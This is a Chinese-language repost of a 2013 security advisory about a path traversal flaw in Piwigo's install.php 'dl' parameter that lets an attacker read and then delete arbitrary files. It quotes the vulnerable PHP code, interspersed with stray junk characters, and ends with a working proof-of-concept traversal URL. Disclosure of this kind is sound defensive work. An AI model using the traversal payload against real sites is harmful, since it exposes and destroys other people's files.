Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

; c/ ]1 x4 H. u( }* X# @3 WPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
" C  ^& M5 {. V9 G9 H! f====================================================================
1 Y1 Q5 M* L3 a* K/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
" Y3 Y8 o7 v( W. f/ g5 a5 X4 f2 @114: {
" A7 d# l( H9 D, U  a115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
1 i$ D. [1 ?: R1 _! m& `" [116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
& \5 `$ r( g: Z! }' G% W118:   header('Content-Disposition: attachment; filename="database.inc.php"');
" j! L. U, d1 ]119:   header('Content-Transfer-Encoding: binary');
! y  H6 R7 U, X5 ]120:   header('Content-Length: '.filesize($filename));
; |1 @  O6 V( f4 t( }2 k) Y( u: h121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================

' n% ~4 C- a0 N8 Q  ~" n! ?3 |, v! }Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
' x9 R# H: j' [  b
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
0 O7 [/ J& {% d/ X, G                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

- `$ }/ j, I5 J15.02.2013
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--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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